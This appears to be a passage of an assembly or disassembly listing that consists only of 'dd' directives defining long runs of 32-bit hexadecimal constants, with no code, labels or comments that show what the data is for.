		dd 1640800Fh, 42C5EBA3h, 0C0B52172h, 0C05185A2h, 0A8A2EE1Dh
		dd 564FAB11h, 1B651901h, 924257E3h, 9F54F3ADh, 0F9C91654h
		dd 6BA213A5h, 0A8B554BCh, 5CAE12C8h, 0F12417ADh, 7918001Ah
		dd 81467DF5h, 3B91F606h, 291E2BFBh, 13CD8B5Eh, 0CB19AC1Ah
		dd 13A684F9h, 16E304AEh, 37E01309h, 5012CC56h, 650FEDCDh
		dd 69601874h, 513505Bh,	9207EFBEh, 0C5BC8062h, 3361A83Eh
		dd 8611FA8Ch, 0F7047DE2h, 6DEC45h, 0A8E0D15h, 0BF5DEE21h
		dd 6208843h, 86025A03h,	820BBEB6h, 724A7793h, 21FD20E9h
		dd 7FA8839h, 0C05B5AD1h
		dd 0E6D702C9h, 9B5C598h, 22C14068h, 98E66954h, 4F02680Fh
		dd 827C2475h, 92E808C2h, 4C78F680h, 0EE12C625h,	550CC79Ah
		dd 8725805Fh, 4A2DE9F5h, 0F6FE4839h, 2C8CB3B6h,	2EE4CFB7h
		dd 409BCD30h, 96B52BDAh, 90B65200h, 0CEFEDEF6h,	58E63B80h
		dd 36E9D686h, 8181324Eh, 89906A78h, 1780D3B4h, 0C0FB2E4h
		dd 0C4B75552h, 0E17CC690h, 0E4F93180h, 5708C1CFh, 725B5F53h
		dd 0E88384F8h, 561425BBh, 4345234h, 0B246C6B2h,	0A1E066F2h
		dd 9897806Dh, 55B8047h,	5F286200h, 0D9AD2D74h, 213A26E1h
		dd 0D05625FDh, 0C272E2E1h, 0F530A421h, 60588136h, 1EB001C2h
		dd 1F25677Ch, 5E5099F6h, 962C569h, 71F0B6E9h, 4A8CC697h
		dd 8466B866h, 1168DB8h,	230A943Eh, 0B171EC3Eh, 5512529Bh
		dd 0ABB9D341h, 0D1C3DE52h, 416EF1B3h, 1F47A392h, 15F5616Bh
		dd 0E20685EBh, 5E845B47h, 0E9127CAEh, 0ACE21E54h, 2068661Ch
		dd 0B6D267h, 0F6C2B252h, 5E2C0DAh, 27AE92Dh, 43E3C1ABh
		dd 614C9A84h, 0C03025F4h, 0DDD800A5h, 5BD9894Ah, 0E926CD29h
		dd 5CB15360h, 0C86A71C0h, 8D5B35E0h, 0E7D08DA6h, 0AC2D164Bh
		dd 3F29A948h, 27140C6Bh, 0A31AE912h, 0FA19B5F9h, 305B0C8Ch
		dd 31BA261Fh, 26520FBEh, 233E154h, 4DE8B951h, 80F52553h
		dd 6FEA81E7h, 1C5F3023h, 930B620Ch, 10F71040h, 538EB75h
		dd 169B1BB5h, 0BD4D4486h, 799808E6h, 1B17025Fh,	8C7BFB8Dh
		dd 6F905664h, 0A5193020h, 0F7B3303Dh, 6A4B68F9h, 323AF2B1h
		dd 0B1C9A223h, 31D97129h, 0A0096AA7h, 762E78A0h, 11513040h
		dd 0D831AD24h, 0B82D70FFh, 9AA7D00h, 47E17ABDh,	0D5291A76h
		dd 60D2A65Ah, 6747A95h,	175602CDh, 4481223h, 55270946h
		dd 19510235h, 0A29357C3h, 826552C1h, 7E51BED9h,	7C78216h
		dd 3C8E680Eh, 6251B44Bh, 0BA00D027h, 5B1905A8h,	5493E45Ah
		dd 849BF249h, 55062B12h, 665B7850h, 25640229h, 79F8B287h
		dd 58C6265Bh, 40810EEh,	614A6B72h, 608B13AFh, 581EBD80h
		dd 8C253625h, 5A1664D5h, 11F3B4EBh, 57B4CC4Bh, 4838EF2Bh
		dd 0AC78C9Fh, 0AA39F18Dh, 31711221h, 82ECA284h,	70E2E627h
		dd 87089ADBh, 0AA2D01EFh, 302A0D12h, 46B5BB31h,	566870F4h
		dd 0AF129946h, 8523E9F3h, 35AB44B4h, 7A17F5B5h,	0F1E98560h
		dd 0EDA9C929h, 5F8A71F4h, 6801FD31h, 1F540F2Fh,	0C276BE41h
		dd 0BDE30004h, 293FC775h, 0EA2EF27Dh, 4799D322h, 6189E88Eh
		dd 6BD12C8Bh, 59707DB8h, 1AFF04Ch, 80C5FECCh, 0A9CF56EDh
		dd 20872834h, 0C0D0B753h, 4D0417F7h, 896D0E97h,	8836655Bh
		dd 0C107F292h, 0EA3707E2h, 0E0E569EFh, 5D926875h, 3815B58h
		dd 4163C244h, 493F9E6h,	570492FCh, 0B06FDC9Ch, 0E80927A1h
		dd 88FB0113h, 0AA2E0876h, 3A8E388Dh, 8D10C779h,	6855053Ah
		dd 39521E48h, 9EA52413h, 914B307Dh, 3EED3DA6h, 5EC5F847h
		dd 41B42817h, 9D4F21BCh, 51FC8FE1h, 461BE9E9h, 0F0212EA1h
		dd 4D8B180Fh, 2E1E1FE7h, 31D21302h, 0CDB05F83h,	0A5E1B7C2h
		dd 0A116518Bh, 75D3B41Eh, 275A8FF0h, 0AA60D2F7h, 0B716B349h
		dd 0FC048988h, 580B0CFBh, 5457DCA1h, 0A7FA205Fh, 37386016h
		dd 7C9F5101h, 65317879h, 7F0C01F7h, 5AE9FB29h, 405C3AC8h
		dd 2513B987h, 50B90167h, 0E5E63B5h, 0BEF956D8h,	0F1843F17h
		dd 58D7C9F4h, 0EE05024Fh, 0AAE18F2h, 1CB5FCAh, 4E8D2BADh
		dd 4B42DA29h, 5E5082Ah,	0DC71DC68h, 0B6497BAAh,	14D7C494h
		dd 4867A58Dh, 2FB0B175h, 0E59C3A71h, 0F50AB5AAh, 0A330402Ch
		dd 17A4D10Ch, 0A72601F7h, 5E57AFCAh, 0B3F0F85Fh, 680A109Dh
		dd 27187CBFh, 7DC85B2Ah, 67062FE0h, 1F870F63h, 0D244A077h
		dd 0B536E408h, 8DB50660h, 0F08E5659h, 0B5AD6EE9h, 4B07CE48h
		dd 82ED29C0h, 582C1803h, 9F100759h, 864A75B1h, 247F31F7h
		dd 9242DF5Bh, 0B347ABF3h, 0BC7A875Eh, 0E9DBE602h, 1F868483h
		dd 490E5EFBh, 70564AF6h, 6A9F8462h, 0CA08C3BAh,	8360095Fh
		dd 3C5BB151h, 0F1C98AA0h, 9238E3CEh, 0BBCA4858h, 592118D3h
		dd 2FA87248h, 0E90C6A06h, 20DD47h, 0A346160Dh, 68AA0573h
		dd 0A527033Fh, 0B72E780Ch, 0BB986AEEh, 1E92B120h, 957DDF7h
		dd 8B723D34h, 0C3724C0h, 955E4B83h, 364E6440h, 17A3BC48h
		dd 36FD9BCBh, 0F314A00Bh, 7A201EE0h, 0C61AA30h,	13DD7249h
		dd 0ECFE29A4h, 0F56EB168h, 30B8883Eh, 205AD40Bh, 8075DBE3h
		dd 0B25FB353h, 29D28D3h, 347A96Ah, 6CB9D029h, 0E48A6E59h
		dd 9C5AEB3Bh, 6B0CBF0Eh, 0A078E652h, 7D7F12A0h,	0BD190F2Eh
		dd 559F92E0h, 0F9728951h, 780BCD48h, 340594FAh,	9BE9384Ah
		dd 2A6053C9h, 7BE12717h, 763CEB7Ah, 68BF7AA8h, 256E0361h
		dd 246555A9h, 0FB8500Ah, 0D6DDE906h, 5F5A2654h,	0D5E570E7h
		dd 0E2D5C81h, 39C653C9h, 0DA49B198h, 0E495B15h,	5D9EFAC6h
		dd 0D85F9DEAh, 0FA258A3Ah, 0D2065E51h, 6A800ADBh, 0E91A730Dh
		dd 43E74A8Eh, 0BB4B17E1h, 0D994CC7Eh, 25405903h, 331E0C07h
		dd 8DACE0D1h, 1FF3904h,	76F877E9h, 0C7FF7E51h, 55F129EBh
		dd 6800071Eh, 0C70CDF98h, 9DA5E95Eh, 14D410EAh,	1FB2F608h
		dd 0C05D964Ah, 0EC885084h, 0F990E6E4h, 16149669h, 4FF3FC1Fh
		dd 1A13421Fh, 8A586A18h, 0A2E5400Bh, 0DFF1D01Bh, 0B736D276h
		dd 0E2277BC5h, 0E0BCCBACh, 600C5E91h, 51090C48h, 0F0BEB531h
		dd 7CBCA60Bh, 2D450C3h,	97305881h, 5F9EBD2Dh, 8B20BA0h
		dd 404024B8h, 0B92B9559h, 0FCFBB856h, 423BD4C9h, 0A7C1E976h
		dd 5A025CE4h, 89EF9E42h, 2D427AF7h, 57BADE50h, 0B1B825D7h
		dd 8DE8A756h, 0FAC181C4h, 0A30CEF58h, 75290222h, 0E0E9F901h
		dd 34FD614Ah, 90E9253Fh, 80587004h, 0B32D4E15h,	0E0E4234Bh
		dd 4211DB51h, 30857180h, 50DE0112h, 7D123100h, 2F596124h
		dd 0BE01BDE9h, 3BA9880Fh, 6EEEA341h, 0EE407554h, 3E6ABAC6h
		dd 0F6034C5Dh, 0A0C09E4h, 315EFE07h, 0C7955FF8h, 0C1C0CEECh
		dd 0CF8107EFh, 6E492B0Eh, 0D842DE25h, 0F4ECEABEh, 4ADA081Ch
		dd 0E5E1890Bh, 2DA58B28h, 922FF0C6h, 522E11CDh,	0C3014A62h
		dd 0E0C6333h, 8014305Fh, 7E744D01h, 2A06282Dh, 0CFD8F7F4h
		dd 78414004h, 0FD6FA305h, 0EECAD7F2h, 583B8957h, 8086FCAEh
		dd 7E15CFBBh, 5A853D6h,	2625D5CBh, 0B795ADB0h, 7E669291h
		dd 85E73244h, 1804AC12h, 83279F79h, 0EC204A6Eh,	9D899F96h
		dd 7505AABDh, 299ABB07h, 0FE6C49B6h, 5632EF71h,	781F6801h
		dd 61D83143h, 7474B880h, 3862E1F9h, 7DA98D38h, 0F3B99E14h
		dd 8DE1752Fh, 96802E46h, 60442878h, 7AB10C13h, 315BE35Ah
		dd 732BF0B1h, 0E9F8D043h, 48961A61h, 52A2B62h, 3009B864h
		dd 6EB4796Dh, 83A55AB2h, 0C28353FCh, 0E22858B0h, 4D3AD2B0h
		dd 71EE25E9h, 51962F06h, 9AFC854Ah, 81574230h, 0C313D2F1h
		dd 4480A7F3h, 121B951h,	411C1716h, 3F06E1C1h, 0DB3C9480h
		dd 4E497635h, 4DCF8066h, 555B800Fh, 0ABA9C416h,	5FFD81E4h
		dd 0A1B32BBDh, 0B020E983h, 25F41C4Fh, 1259438Ch, 0F1A03BE9h
		dd 5BF17731h, 0BE04C0F9h, 40F44BC9h, 0D760CFF4h, 246C2914h
		dd 595D2508h, 5696BF1h,	21FF0CF5h, 2ABFD655h, 11CB2AF2h
		dd 0D11BF3D0h, 0CA3854EEh, 1E90721Ah, 28D74E82h, 15580CF5h
		dd 0FC0C51EAh, 0A111F209h, 0CFC941F7h, 1ECB5D80h, 0F1CB762h
		dd 174F8D70h, 13F2F3E4h, 910E9159h, 2A60D9C3h, 102154A7h
		dd 3A846508h, 0DFCC60BAh
		dd 6E5C1A0h, 0E0E06D2h,	2E6A23CDh, 1AEDB168h, 27FEC070h
		dd 1FD1EE31h, 4797050Ch, 3EF409E6h, 0BAC814E8h,	7C1424EEh
		dd 1C8E1D32h, 4B0527D8h, 9DB1F5E9h, 0CB5D8C3Eh,	0D70EC897h
		dd 3060FB5Ah, 0FDD40F3h, 0DEDC8412h, 86B124E8h,	6084C339h
		dd 2C8BC688h, 0E24D5FC2h, 5B01224Ah, 0B22BD031h, 0A1D9253Eh
		dd 3638685Ch, 0D38994E4h, 9694E212h, 5BDF5071h,	84BE272Bh
		dd 2525EB3Dh, 0F8B24B97h, 7FAB4A8Fh, 6DA37AA7h,	7E276B12h
		dd 0F455154h, 8FD623B3h, 30EA294Ch, 7BB90D89h, 57BE245Fh
		dd 8AA7BEB8h, 166B08Ah,	1144E51h, 59806EF2h, 4C2B404Bh
		dd 0B4291467h, 0C65147F7h, 5B4FB56Ah, 660F9CE3h, 0DEEBE1F7h
		dd 5452E740h, 0DB685A09h, 88C15109h, 702DBE31h,	0F2810223h
		dd 0BBE5FBE4h, 0C75E22FDh, 8F682202h, 6EB79678h, 34052031h
		dd 106E4148h, 0FF505B1Bh, 19311F39h, 7A870902h,	0E6E2BE52h
		dd 0AE346292h, 34848198h, 4A7A90C3h, 0D4C0ACB3h, 0A1B02ED9h
		dd 0D554C442h, 0D5292310h, 80953C80h, 0D690D9F7h, 6EC90D55h
		dd 0F206B434h, 0F82882C5h, 665B6AD9h, 0E2CC0F11h, 9AE5C82Eh
		dd 1FBCDFBh, 832B3CB1h,	6FD4EDD1h, 25F410F6h, 125F3B42h
		dd 884BC986h, 879D04C7h, 884004ACh, 0A68E7E8Fh,	0BFCE2172h
		dd 323A5749h, 0F6992E89h, 0DF0660EEh, 0B55E8F40h, 0ED0BA89Ah
		dd 0E9E2DDFBh, 0C3E7CDCh, 0C004D6F6h, 0BB06EE2Eh, 95DBF827h
		dd 4FA878E5h, 53C4954Ah, 2B6F39BEh, 68082CB2h, 0E9050DB1h
		dd 0A234A478h, 7AA19612h, 0FB5D86Ah, 8495AB48h,	62AE81FAh
		dd 0BE82561Fh, 7B459E27h, 1CA30F0Ah, 6E13AF3Dh,	0ACC1F7D6h
		dd 5BEC36A5h, 324AE3F8h, 9D5345C8h, 6269B91Ah, 0DADE6C5Bh
		dd 4617DCC1h, 48BD27F9h, 970728F7h, 0A27A28CAh,	9F87A920h
		dd 3C57A041h, 0DB2F7C29h, 64C6F102h, 50510017h,	5C70C668h
		dd 9B256087h, 485BEC06h, 2619ECB7h, 0BC259A90h,	5C923D89h
		dd 0D1F72D22h, 308FADC1h, 49503BE3h, 8412A1EAh,	0AB5844h
		dd 9E8D0589h, 0E297FA18h, 26255092h, 0A54F29E9h, 5589FE7Bh
		dd 3090DABEh, 0F7C3276Ah, 9C2E1521h, 5512B57Bh,	0AB920FECh
		dd 0AF560064h, 8F6B7E2Dh, 96E913E0h, 1253FFF0h,	0F336CC68h
		dd 47557FA9h, 0DCF3C1A7h, 0DAAAEF33h, 2B5A7061h, 0BDD3F0A3h
		dd 844F9A8Fh, 0EE12807Ch, 8B0FBF01h, 1387B41Ah,	308103E2h
		dd 263F73B9h, 3235E390h, 0FDA505h, 50C7044Bh, 0EE24C055h
		dd 0E62580AFh, 91238011h, 975DB64Eh, 14020FA9h,	6609839Dh
		dd 34872561h, 2E9C2F6h,	0AD8EA22h, 63340318h, 13D968D0h
		dd 0E6A589ABh, 98200803h, 85F0B981h, 827CA5A3h,	444C440h
		dd 0F7130576h, 439081DEh, 3055710Fh, 8CE201F5h,	0A7183C60h
		dd 0C0448A36h, 7730730Ch, 0EB4EE90Ah, 69B0C080h, 0C0D75004h
		dd 95A56346h, 0CEB926E7h, 0A336EC21h, 3D58FE82h, 3F2D3141h
		dd 7ADFD17h, 5A97E6F5h,	165289CCh, 0E94CC2E9h, 0F11A1346h
		dd 0A216578Ah, 856D9454h, 4834F97Dh, 9F53185Eh,	12DFEF33h
		dd 526E3D65h, 2E2E0947h, 4258ECA2h, 655AF780h, 0CAEC5C99h
		dd 844BA501h, 13DE963h,	0A28C343Ah, 2DEF1209h, 147137AEh
		dd 0F69F450Eh, 0C339F4A9h, 0A2852EF7h, 39B03237h, 0AEEC5D05h
		dd 71272777h, 14782A20h, 0F3EC2A7Fh, 3733A70Ch,	19970C6Bh
		dd 9056E93Bh, 0AA82055Ah, 5B8AD814h, 0EEC90766h, 0FC09643Eh
		dd 4734271Bh, 826A663h,	3501EC9Ch, 0AB938BD1h, 0E48D812Fh
		dd 2F3D351Ch, 16C2E837h, 4C2E7DA6h, 0A140D1E9h,	6302BD68h
		dd 0C15B1486h, 0C98277EBh, 4304C44Fh, 0F101ADC2h, 0D73D3FB3h
		dd 9D2C0B16h, 0C766EC8Eh, 0D05B1E92h, 6BC16B0Fh, 9E90904h
		dd 6D4E6289h, 77142575h, 1A68E928h, 3CD3C309h, 6CF08C06h
		dd 2D7E40C2h, 0E7A6F20Bh, 0FC328B79h, 0FD7E6E70h, 0A0D9F124h
		dd 646C9F42h, 682CF426h, 56A40269h, 89B0DE41h, 2A0B4E46h
		dd 0F88745Eh, 685100D3h, 48B010A4h, 6B16594Ch, 0CF6600C3h
		dd 905FF989h, 35602878h, 0DC3C0F73h, 8B6B3E9Dh,	2D413362h
		dd 0FECAE0CBh, 0AC26C69Fh, 0BD551FB6h, 2CD30F73h, 592DF581h
		dd 15BA8C2Bh, 48EE5D07h, 5A1F9E6Ah, 9D700946h, 0CC8B2EEh
		dd 1EE98502h, 51101ECh,	20D194B4h, 0F4C05E39h, 1FCB5FC4h
		dd 0B7CBB821h, 0FD87BA00h, 235BBBE9h, 0DBF77AD1h, 0C5BEF884h
		dd 5F17B05Ch, 0DD895513h, 343B87A1h, 84F9015Eh,	70CFB4AAh
		dd 591F64C2h, 0C50173D3h, 7C8E55B7h, 8C9506Fh, 24141C68h
		dd 4B9F11A6h, 13DDFFA2h, 31B64767h, 46E827C8h, 76B108C5h
		dd 0CA66DEE9h, 18652F51h, 0E595C82Dh, 7F7397F7h, 9F0DD8A7h
		dd 74169F99h, 8E130FCEh, 0F3ADEBD7h, 5D4B29CFh,	0DA4A0F63h
		dd 84F23AF5h, 0ADB0B9ADh, 5057015Ah, 7E154CB8h,	842F64h
		dd 8DF841BAh, 70333546h, 89CE2B8Fh, 299EEBD3h, 4F3A5721h
		dd 4EBC435Eh, 0DFACE5C5h, 0DB061EB7h, 540C6023h, 8249EB38h
		dd 10370899h, 232C0126h, 2880413Ah, 122B1960h, 0FAE4D731h
		dd 99505FEh, 660E04AFh,	25629581h, 803FAD35h, 2B3DD35Ah
		dd 780C84E3h, 17BAD4C6h, 185CB9FCh, 666397E9h, 0CBFE0F59h
		dd 4364DBF6h, 2BD89803h, 0ABD2240h, 41C1056Bh, 7FC0FA7h
		dd 0BDB3EDAAh, 0CE409FF3h, 0A330E80h, 0C8180C0Dh, 2DE9F2B0h
		dd 0DA649ECFh, 279A4097h, 0E2514D9Ah, 0D8F5EB00h, 45E9AE65h
		dd 310958BAh, 0D42958C6h, 0EC212C8h, 8BA4B569h,	3862AB36h
		dd 0C9FEFCCDh, 9EB1B04h, 0A0A6555Dh, 0DE027603h, 0D1366134h
		dd 0A38C8FEBh, 53A3E6Fh, 30076482h, 0D1C0E13Dh,	0DDB39DEAh
		dd 72A84EC9h, 35850F67h, 0A67F477Eh, 0F7318E6Dh, 0DF8EFE4Eh
		dd 9E08FBCDh, 7C3987D8h, 4648D6FEh, 58B9B08Ch, 34E34C1Fh
		dd 2049EE00h, 0CE0161D3h, 8811498h, 5D1E8259h, 57661503h
		dd 0BC09D809h, 0E0C113C0h, 8A1020B0h, 25029C04h, 51F53A7Fh
		dd 996AB0C0h, 0C5C616C1h, 422B53E4h, 1842E9D3h,	0C13DA0D7h
		dd 64979DFFh, 0A1C0FC89h, 0CE357A60h, 68586D20h, 0E30C4A59h
		dd 0E91B621Bh, 34DC4BBFh, 0AB457E8Eh, 882682DAh, 73E90468h
		dd 0B549AFEEh, 0B14D60D6h, 0CE88024Bh, 12F68059h, 1758EC62h
		dd 2B362D01h, 0C2296B21h, 41779420h, 9A22D47Bh,	8E6E3294h
		dd 58C3C0E8h, 9E3815Dh,	254C0B5Fh, 6B82C81h, 0E4683036h
		dd 0E4ACCB4Ah, 4250F7D9h, 197D7FF0h, 0E82355EFh, 0CB21E381h
		dd 7AFDE133h, 0E581A930h, 0C73D13B4h, 40A2071Fh, 8116D57Eh
		dd 5566253h, 20E64F14h,	0B85C4AF2h, 0D70C8CBDh,	53CE13BBh
		dd 0D999C1A8h, 2F2C0043h, 0B85B4E66h, 0AF623E17h, 291241CBh
		dd 506EBADBh, 0CE71BC2Fh, 7CF9E74Bh, 0B6ECB8C4h, 0E9469097h
		dd 0A19D886Ch, 9E4EF317h, 1C9F220h, 52AE1378h, 684A800Fh
		dd 0B6E25AD6h, 4BB3A8B5h, 830577C4h, 69C814E3h,	7B391E49h
		dd 19C1C910h, 2B3012E9h, 795D6B0Bh, 34764BCDh, 735A5642h
		dd 0E95305EFh, 0AEAB5394h, 6F8694Ch, 2D90BC41h,	0DAC176D8h
		dd 172435C9h, 8FACB12Bh, 0D85AE907h, 1348EB9Dh,	0E1FFFDBAh
		dd 0C46160ECh, 9DE9AA94h, 0AF8AA670h, 0B8D72F14h, 24B4E7B8h
		dd 62D9AA33h, 4E457A61h, 0AEFA34AFh, 4AAA2AD8h,	0E006C912h
		dd 0C69D46D9h, 6C3789A3h, 8520EA39h, 84935C6Ah,	0DF341A09h
		dd 5BFCC230h, 0FE2C9E97h, 8C2B4E3Fh, 15161F4Bh,	13102664h
		dd 0F8E327B1h, 0C4565B8Ah, 0AA9CBAC2h, 265A9A91h, 420C08Ah
		dd 0FFDE30B3h, 4A885F2Ch
		dd 124CE1F4h, 3CD55196h, 0E02FF69Ch, 5BE918F8h,	0EBC57DFEh
		dd 0A3701B24h, 94B3253Eh, 0B9B2D97h, 3B8B4067h,	861148DBh
		dd 25ACB0EEh, 677426D9h, 0BBE5670h, 198E2AF4h, 0F96BC672h
		dd 0E5604211h, 0E06496C9h, 5B4876Bh, 0ED685340h, 758E1D61h
		dd 1A6E8B5Bh, 35A82D30h, 9594A09h, 0FAC9D2CBh, 0AB6182BDh
		dd 0F86660F9h, 43D0541Eh, 0A0E9D103h, 0C207CF0h, 1EE60DF3h
		dd 0E98801BCh, 0BF0DBADBh, 9A766CB0h, 89F279Fh,	460AC382h
		dd 5A54790Eh, 5FDDF6DAh, 0E9848DE2h, 212DF15Fh,	0CC0FE6Bh
		dd 6082C0CBh, 50F12B50h, 16DEBD84h, 0B0F5295Bh,	6BC20854h
		dd 0C0485DE8h, 0FA4005F4h, 96B61Bh, 2815EA80h, 41E75AD7h
		dd 35249CFCh, 25AB302Fh, 484D441Fh, 0D9351809h,	37E48BEBh
		dd 34A57BA0h, 0E29815AFh, 2957FC00h, 8282D73h, 27E9E8FAh
		dd 86C80D49h, 392627B5h, 9E028140h, 2D5A15h, 0DCF749ECh
		dd 0D7CE0141h, 4E88C781h, 2C8BE811h, 0E8A7C59Fh, 25FB0287h
		dd 4EDC106Bh, 5C519B09h, 6FAB61B0h, 10B03BE6h, 97F1BA4Ah
		dd 26EFAF02h, 0BFD9555h, 0C1CBB8E9h, 5092EDF8h,	314CBF12h
		dd 469D5CEEh, 0C0D4411h, 905CA709h, 0E7807726h,	35454A69h
		dd 0BADCBC61h, 4761C501h, 0B5051864h, 0B6D20816h, 0F3972AF2h
		dd 403B25D5h, 0B67782C0h, 5964EF51h, 2DDA8AC7h,	2701E057h
		dd 307A2D4Ch, 3607F688h, 0E92A753Bh, 0B95AE0AEh, 2D607A89h
		dd 6463246Ah, 0FDED1233h, 16D300EEh, 562D4049h,	661C0436h
		dd 92F0E955h, 0A5C58BEh, 59F0EF96h, 2ED2EC1h, 25851025h
		dd 5B50D858h, 5BE2CC14h, 0E9A389Bh, 0EB7FC0E9h,	7BC69D2Dh
		dd 7576F5FFh, 2331A50Dh, 4C321B4Ah, 0A7257F87h,	2EB6B261h
		dd 831DD583h, 0ADEEABDEh, 0E0361CC8h, 0B859ECCFh, 0F3EFFC45h
		dd 0F621982Eh, 0C7FED71Fh, 0FC8A25B9h, 26064991h, 71FB6052h
		dd 27589E50h, 0A8F0A5D6h, 38799D59h, 0DA8BB3E9h, 0AE94A8DDh
		dd 1B6CF400h, 28EF8145h, 9D835CE1h, 80D56CAh, 840E20DCh
		dd 94FAB152h, 0A204E47h, 0B8EB87DDh, 96F304FCh,	0A839A8EAh
		dd 15E9125Dh, 9F2E4B4h,	14706BF4h, 98CE38E2h, 0A9CA1C5Ah
		dd 0B45D0D69h, 680CED94h, 0C63A5A2Fh, 0B5B22003h, 9DCA3AFDh
		dd 0DE044658h, 0C04FF244h, 93224720h, 2EC304Bh,	0E14A8B4Ch
		dd 9FDF3E80h, 0CEE0112h, 0C79338FDh, 0BB570229h, 0B6985F13h
		dd 4E9240F2h, 3AC781E2h, 299B3AB2h, 5E6A7047h, 0BEE10B47h
		dd 225CC8D0h, 0A02F200Ah, 9A7AD580h, 0D8011DDEh, 44BA1752h
		dd 0FDF4E95h, 0B84C7855h, 0CE57067Bh, 90442922h, 40CE5849h
		dd 4398500Ch, 0FE812BE5h, 5D00C8A8h, 81250F4Dh,	0AA0E0FA6h
		dd 89808790h, 0D5C3C6E3h, 35997A05h, 858625CBh,	381AA1C1h
		dd 54CED98Bh, 3CF01F2Fh, 2174645Eh, 4803F18Ah, 6610DCC9h
		dd 5D0B1F26h, 1482BE30h, 14D7188Ah, 9DBEB290h, 15ACBC34h
		dd 0B31CE95Ah, 3000359Fh, 0F740343Ch, 132D77D8h, 0A0D65EC3h
		dd 0E7796801h, 7E3B35C4h, 80CFB10Fh, 8D25FD1Ch,	0D7E9F60Fh
		dd 7BC75A49h, 0BDD6365Eh, 0FAB8BF57h, 0E43B534h, 6C026FF6h
		dd 5E5C5B1Eh, 0E9FE3101h, 0C96FF895h, 8787034Bh, 0D7CA3369h
		dd 2DF671AAh, 0E25C6E04h, 80F8D46Dh, 6BE9CE29h,	7DE4973Ch
		dd 81DE948Ah, 0CA111BCDh, 68F6E956h, 4E585F0Dh,	982FC805h
		dd 33FC041h, 551968ACh,	0D54FFAB4h, 0F44F69E9h,	0D64DC281h
		dd 0DE2020F9h, 90AC944Eh, 4D2787D2h, 9CC83F8Bh,	49E87721h
		dd 68016EC0h, 44AB323Ah, 4D912E5Dh, 8907BD37h, 0FD0ED202h
		dd 79284A65h, 363E2C00h, 0EC270516h, 8E424CDDh,	74BCBD3Ch
		dd 904C01BBh, 4B590841h, 0C0787AECh, 16CC255h, 0A9970A5Ch
		dd 86376A16h, 9526CAC6h, 69E47FF2h, 23FA4472h, 41AC66Bh
		dd 0DCBF5D39h, 9A84842Bh, 0EAE620A5h, 0B8C1382Ch, 7F73CA0Dh
		dd 0AE3A6483h, 0C1F42949h, 6835E4C1h, 13EE9213h, 5876EF38h
		dd 12E7951Dh, 69E2D39Eh, 567C6996h, 0E9312944h,	63053AD4h
		dd 1FEADA86h, 2EA4FD41h, 0C3FE806Ch, 28BFF380h,	8550DA58h
		dd 0DC4191D1h, 6F5B0DA5h, 0CBB360h, 760E4BB8h, 4012840Fh
		dd 0ED82819Eh, 0D0703859h, 2585FE65h, 401CFAC0h, 0A0FD514Eh
		dd 7C11680Bh, 49FF269h,	25BFFA13h, 831545F3h, 0C228AA98h
		dd 15278411h, 2946473h,	142162BDh, 0E880456Ch, 1DF62AB5h
		dd 51E38103h, 9475B44h,	5DE908A8h, 254067A0h, 0BE1C5081h
		dd 829D354Fh, 0A003C3D6h, 3151E9h, 79D3F2E9h, 95B0A70h
		dd 0E51C572Ch, 0C10F9522h, 294105E1h, 5FB6E116h, 79F9C37Eh
		dd 0AFF4C8Ah, 0D4035E97h, 0C21A37A6h, 9443D049h, 5EF925B3h
		dd 0CA50E942h, 951C6079h, 6D5B136h, 2E7D70B9h, 0C7AE60BFh
		dd 49F61D87h, 0C4CF9D9Ah, 0BB65DC2Ah, 0F7C16B1Fh, 434A9B9Eh
		dd 3FC3AF40h, 0A0455FB2h, 6C0E2560h, 0C04E3437h, 3DCC2498h
		dd 88AEC401h, 7576C8F9h, 7BF3BC13h, 0A2D215FBh,	0E763558h
		dd 16BB62Ch, 85A813D3h,	7632AF79h, 1532DD5Dh, 0A2550B40h
		dd 7EB98A82h, 546E203h,	756EEB7Bh, 722B3443h, 50AEE20Ah
		dd 6D161DE3h, 69C20B1Eh, 580884EAh, 0F3C9FDB2h,	0EBE251F4h
		dd 9A907574h, 0E14FF75Ch, 0D12EE829h, 79113AA6h, 20E9A1C4h
		dd 0B23A4B25h, 0E2182505h, 258B09E9h, 8DA5D51Dh, 0C53E8419h
		dd 1738BE2Eh, 0EBA24486h, 0F1381009h, 0C37A6162h, 0C7880844h
		dd 218D4A73h, 4835F85h,	0F1969DB2h, 8827650Eh, 26D5680Ch
		dd 42051380h, 0ED81CD3Ch, 40EAEA7Dh, 8207211Dh,	8CCFF65Ch
		dd 4F3175DBh, 685FD0C3h, 98B573D2h, 0B54AF655h,	5E4AA594h
		dd 0C4B215ACh, 0A4C291F6h, 0B4BB0010h, 6D4F5159h, 6640FCE1h
		dd 799EF461h, 0E9F81A3Fh, 0A24E8D7Fh, 155AD13Fh, 0A57B48h
		dd 2535BEEAh, 0EF295D54h, 3E761287h, 4C71AB95h,	5A638F49h
		dd 0E6AD64Bh, 4E8D7D08h, 409E8782h, 0F9F41BFBh,	22FFA980h
		dd 3F3B4135h, 20B51982h, 1420EEF3h, 0FEF0EAD2h,	35EA02C7h
		dd 59E94E93h, 880BDA74h, 0B31B68E6h, 6ED99511h,	6DD3D1CBh
		dd 1FF22B6Ch, 4493DF13h, 0EBDAF73Dh, 0F2A85E66h, 4BE40532h
		dd 778EF35h, 0D5E705C9h, 4987C24Ah, 0DEAA49EBh,	0CEBB8658h
		dd 82AB2E4Ch, 240B6761h, 0F102B759h, 459EF30h, 3ACEF620h
		dd 8613E909h, 9DD71655h, 0A1252BD2h, 262651ACh,	917B092Eh
		dd 61938210h, 0E952F91Eh, 4C72F26Fh, 0CF2037E0h, 2FC8DCBEh
		dd 6227E989h, 0A843D141h, 27DF5979h, 0BFD259C4h, 6FEF1744h
		dd 2CC0BE0Fh, 0F58919AFh, 0B7F15E5Ah, 133AE531h, 0E086B9E6h
		dd 5BB8685Bh, 4A173065h, 210C427Ah, 606EDC1h, 0CC515008h
		dd 2B130C3Ah, 3FD8D176h, 457CD40h, 894B47BFh, 0F1EBC01Eh
		dd 71024C55h, 0F708E7C1h, 0F6805FD7h, 0F82AD0EFh, 7384D58h
		dd 41495911h, 542D9E6h,	10C921DEh, 0E978B031h, 6C9C6790h
		dd 10E0FD94h, 8102C541h, 0E47035E7h, 0DAD7F182h, 3FED6801h
		dd 0A65EE523h, 44034A7Bh, 4C9B54E9h, 480F4645h,	0B06B1F3Fh
		dd 5376F7F8h, 1ABD5679h, 0FA57C0AAh, 8FE7B52Dh,	0D3950F20h
		dd 0AF591EE0h, 0F35EAE90h, 6203A50Dh, 1ECCFC38h, 0D23F64E6h
